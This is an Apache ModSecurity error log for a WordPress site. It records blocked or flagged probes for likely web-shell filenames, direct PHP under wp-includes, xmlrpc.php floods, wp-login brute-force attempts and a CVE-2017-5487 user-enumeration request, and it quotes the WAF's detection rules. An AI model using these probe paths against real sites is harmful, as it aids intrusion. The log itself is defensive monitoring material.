[Fri Feb 13 04:59:08.444537 2026] [:error] [pid 49225:tid 49305] [client 68.219.89.70:25953] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "aY4_HDwH8-zGxtAd3jvFhQAAAIs"]
[Fri Feb 13 04:59:10.283789 2026] [:error] [pid 49335:tid 49345] [client 68.219.89.70:49118] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "aY4_Hqp--SFY2nwOiqkX5gAAAMg"]
[Fri Feb 13 04:59:11.115921 2026] [:error] [pid 51243:tid 51256] [client 68.219.89.70:18187] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "aY4_H8im7ZTAHzi7xZuyiwAAAQs"]
[Fri Feb 13 04:59:12.676374 2026] [:error] [pid 49335:tid 49354] [client 68.219.89.70:46612] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "aY4_IKp--SFY2nwOiqkX6wAAANE"]
[Fri Feb 13 04:59:16.323644 2026] [:error] [pid 49225:tid 49301] [client 68.219.89.70:24014] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aY4_JDwH8-zGxtAd3jvFmgAAAIc"]
[Fri Feb 13 04:59:24.956804 2026] [:error] [pid 49335:tid 49360] [client 68.219.89.70:60506] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aY4_LKp--SFY2nwOiqkYAAAAANc"]
[Fri Feb 13 04:59:33.644057 2026] [:error] [pid 51243:tid 51251] [client 68.219.89.70:39797] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aY4_Ncim7ZTAHzi7xZuypQAAAQY"]
[Fri Feb 13 04:59:42.209099 2026] [:error] [pid 51243:tid 51245] [client 68.219.89.70:49172] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aY4_Psim7ZTAHzi7xZuyrgAAAQA"]
[Fri Feb 13 04:59:45.788878 2026] [:error] [pid 49225:tid 49309] [client 68.219.89.70:29070] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aY4_QTwH8-zGxtAd3jvF3AAAAI8"]
[Fri Feb 13 04:59:55.042526 2026] [:error] [pid 49225:tid 49298] [client 68.219.89.70:28289] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aY4_SzwH8-zGxtAd3jvF4gAAAIQ"]
[Fri Feb 13 04:59:57.914752 2026] [:error] [pid 49224:tid 49286] [client 68.219.89.70:22957] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aY4_TdiAvPoWmw5Yhwl7jgAAAFM"]
[Fri Feb 13 04:59:59.728388 2026] [:error] [pid 51243:tid 51248] [client 68.219.89.70:49214] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aY4_T8im7ZTAHzi7xZuyygAAAQM"]
[Fri Feb 13 05:00:00.793237 2026] [:error] [pid 49225:tid 49297] [client 68.219.89.70:29065] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aY4_UDwH8-zGxtAd3jvF6gAAAIM"]
[Fri Feb 13 05:00:01.931627 2026] [:error] [pid 49223:tid 49255] [client 68.219.89.70:46595] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfwdhsjo.php"] [unique_id "aY4_UR8A_fZBamNLnfUhlwAAABc"]
[Fri Feb 13 05:47:43.695735 2026] [:error] [pid 49225:tid 49295] [client 157.90.158.130:36668] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.158.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5KfzwH8-zGxtAd3jvaJgAAAIE"]
[Fri Feb 13 06:43:53.573567 2026] [:error] [pid 49223:tid 49238] [client 137.184.25.215:52876] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5XqR8A_fZBamNLnfVOWwAAAAY"]
[Fri Feb 13 07:27:33.989523 2026] [:error] [pid 49224:tid 49271] [client 54.36.142.130:56822] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5h5diAvPoWmw5YhwnGhgAAAEQ"]
[Fri Feb 13 07:29:05.220373 2026] [:error] [pid 49335:tid 49355] [client 51.79.147.153:48074] [client 51.79.147.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.147.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5iQap--SFY2nwOiql5wAAAANI"]
[Fri Feb 13 07:31:45.440744 2026] [:error] [pid 49224:tid 49284] [client 52.2.159.67:37910] [client 52.2.159.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.2.159.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5i4diAvPoWmw5YhwnI0wAAAFE"]
[Fri Feb 13 08:26:25.792659 2026] [:error] [pid 49335:tid 49339] [client 107.155.112.134:50008] [client 107.155.112.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.155.112.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5vsap--SFY2nwOiqmlsQAAAMI"]
[Fri Feb 13 09:14:06.048611 2026] [:error] [pid 49335:tid 49340] [client 178.33.162.49:51536] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY563qp--SFY2nwOiqm9TgAAAMM"]
[Fri Feb 13 09:29:02.679918 2026] [:error] [pid 51243:tid 51266] [client 8.130.142.207:33126] [client 8.130.142.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.130.142.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5-Xsim7ZTAHzi7xZsujAAAARU"]
[Fri Feb 13 09:29:19.633779 2026] [:error] [pid 51243:tid 51266] [client 198.71.229.124:59773] [client 198.71.229.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.229.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY5-b8im7ZTAHzi7xZsupQAAARU"]
[Fri Feb 13 10:09:10.191791 2026] [:error] [pid 46821:tid 46838] [client 54.38.195.241:33910] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY6Hxo6G1N5YSq0J0gdzKAAAAU8"]
[Fri Feb 13 10:56:34.150793 2026] [:error] [pid 46821:tid 46833] [client 159.223.176.184:44640] [client 159.223.176.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.176.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY6S4o6G1N5YSq0J0geG2AAAAUo"]
[Fri Feb 13 12:07:38.019115 2026] [:error] [pid 46821:tid 46829] [client 203.159.90.209:54826] [client 203.159.90.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aY6jio6G1N5YSq0J0gemagAAAUY"]
[Fri Feb 13 12:07:38.705999 2026] [:error] [pid 49224:tid 49291] [client 203.159.90.209:51390] [client 203.159.90.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aY6jitiAvPoWmw5YhwlkZgAAAFg"]
[Fri Feb 13 12:07:39.330825 2026] [:error] [pid 46821:tid 46843] [client 203.159.90.209:49952] [client 203.159.90.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aY6ji46G1N5YSq0J0gembgAAAVQ"]
[Fri Feb 13 12:07:42.331749 2026] [:error] [pid 49335:tid 49340] [client 203.159.90.209:58511] [client 203.159.90.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aY6jjqp--SFY2nwOiqkAuwAAAMM"]
[Fri Feb 13 12:49:35.287170 2026] [:error] [pid 49225:tid 49296] [client 167.235.6.174:45580] [client 167.235.6.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.235.6.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY6tXzwH8-zGxtAd3jujzgAAAII"]
[Fri Feb 13 13:37:04.760816 2026] [:error] [pid 49225:tid 49317] [client 211.21.61.244:47950] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY64gDwH8-zGxtAd3juz_AAAAJc"]
[Fri Feb 13 13:58:48.783142 2026] [:error] [pid 47080:tid 47098] [client 37.140.223.44:21127] [client 37.140.223.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aY69mEbWJwYCVF39z6vEgwAAAco"]
[Fri Feb 13 14:26:18.882483 2026] [:error] [pid 46821:tid 46832] [client 149.50.133.201:56894] [client 149.50.133.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.50.133.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7ECo6G1N5YSq0J0gfSVwAAAUk"]
[Fri Feb 13 14:27:17.061495 2026] [:error] [pid 46821:tid 46825] [client 20.57.128.168:37756] [client 20.57.128.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.57.128.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7ERY6G1N5YSq0J0gfSegAAAUI"]
[Fri Feb 13 14:36:32.101763 2026] [:error] [pid 47080:tid 47104] [client 134.209.169.174:45810] [client 134.209.169.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.169.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7GcEbWJwYCVF39z6vTlwAAAdA"]
[Fri Feb 13 15:35:45.328349 2026] [:error] [pid 46821:tid 46832] [client 104.248.68.145:58692] [client 104.248.68.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.68.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7UUY6G1N5YSq0J0gfgEwAAAUk"]
[Fri Feb 13 16:29:35.423158 2026] [:error] [pid 49335:tid 49352] [client 89.238.73.102:56818] [client 89.238.73.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.238.73.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7g76p--SFY2nwOiqlBxQAAAM8"]
[Fri Feb 13 17:18:18.698699 2026] [:error] [pid 47080:tid 47090] [client 34.73.230.44:57735] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sWkbWJwYCVF39z6sOrQAAAcI"]
[Fri Feb 13 17:18:24.811874 2026] [:error] [pid 47080:tid 47104] [client 34.73.230.44:57735] [client 34.73.230.44] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY7sYEbWJwYCVF39z6sOvgAAAdA"]
[Fri Feb 13 17:18:26.410403 2026] [:error] [pid 47080:tid 47091] [client 34.73.230.44:57735] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sYkbWJwYCVF39z6sOxAAAAcM"]
[Fri Feb 13 17:18:28.436055 2026] [:error] [pid 47575:tid 47597] [client 34.73.230.44:64454] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sZAIPBuXb07mA_mSkpwAAAtA"]
[Fri Feb 13 17:18:30.331983 2026] [:error] [pid 18097:tid 18112] [client 34.73.230.44:59652] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sZnFzYiQ_BfaDDlYHSgAAAY0"]
[Fri Feb 13 17:18:32.333822 2026] [:error] [pid 49225:tid 49312] [client 34.73.230.44:59282] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7saDwH8-zGxtAd3jvnuAAAAJI"]
[Fri Feb 13 17:18:34.352699 2026] [:error] [pid 49225:tid 49314] [client 34.73.230.44:59260] [client 34.73.230.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.230.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sajwH8-zGxtAd3jvnuQAAAJQ"]
[Fri Feb 13 17:18:34.352935 2026] [:error] [pid 49225:tid 49314] [client 34.73.230.44:59260] [client 34.73.230.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.73.230.44, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7sajwH8-zGxtAd3jvnuQAAAJQ"]
[Fri Feb 13 17:30:16.335956 2026] [:error] [pid 47575:tid 47604] [client 158.247.243.94:45744] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7vKAIPBuXb07mA_mSnMwAAAtc"]
[Fri Feb 13 17:32:33.240711 2026] [:error] [pid 47575:tid 47581] [client 88.198.14.6:42002] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7vsQIPBuXb07mA_mSn8QAAAsI"]
[Fri Feb 13 17:32:42.758416 2026] [:error] [pid 47358:tid 47388] [client 129.226.82.190:50922] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7vusQFBuVVUQTESUz2RwAAApY"]
[Fri Feb 13 17:32:58.794455 2026] [:error] [pid 49335:tid 49346] [client 88.198.14.6:40244] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7vyqp--SFY2nwOiqlOBQAAAMk"]
[Fri Feb 13 17:33:25.935468 2026] [:error] [pid 47080:tid 47088] [client 68.65.122.212:34722] [client 68.65.122.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.122.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7v5UbWJwYCVF39z6sTqwAAAcA"]
[Fri Feb 13 17:33:46.760344 2026] [:error] [pid 46821:tid 46831] [client 88.198.14.6:36504] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY7v-o6G1N5YSq0J0gf2eAAAAUg"]
[Fri Feb 13 18:22:05.566468 2026] [:error] [pid 49225:tid 49296] [client 138.197.81.147:58932] [client 138.197.81.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.81.147, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY77TTwH8-zGxtAd3jv2UwAAAII"]
[Fri Feb 13 18:30:20.465406 2026] [:error] [pid 49223:tid 49251] [client 43.130.16.140:53744] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY79PB8A_fZBamNLnfVE1AAAABM"]
[Fri Feb 13 19:23:05.659431 2026] [:error] [pid 49225:tid 49314] [client 178.33.224.189:42806] [client 178.33.224.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.224.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY8JmTwH8-zGxtAd3jsDKAAAAJQ"]
[Fri Feb 13 19:49:34.379920 2026] [:error] [pid 47080:tid 47107] [client 43.155.157.239:37582] [client 43.155.157.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aY8PzkbWJwYCVF39z6tCpgAAAdM"]
[Fri Feb 13 20:25:53.223769 2026] [:error] [pid 47358:tid 47385] [client 191.242.48.126:38724] [client 191.242.48.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.242.48.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY8YUcQFBuVVUQTESUwZeAAAApM"]
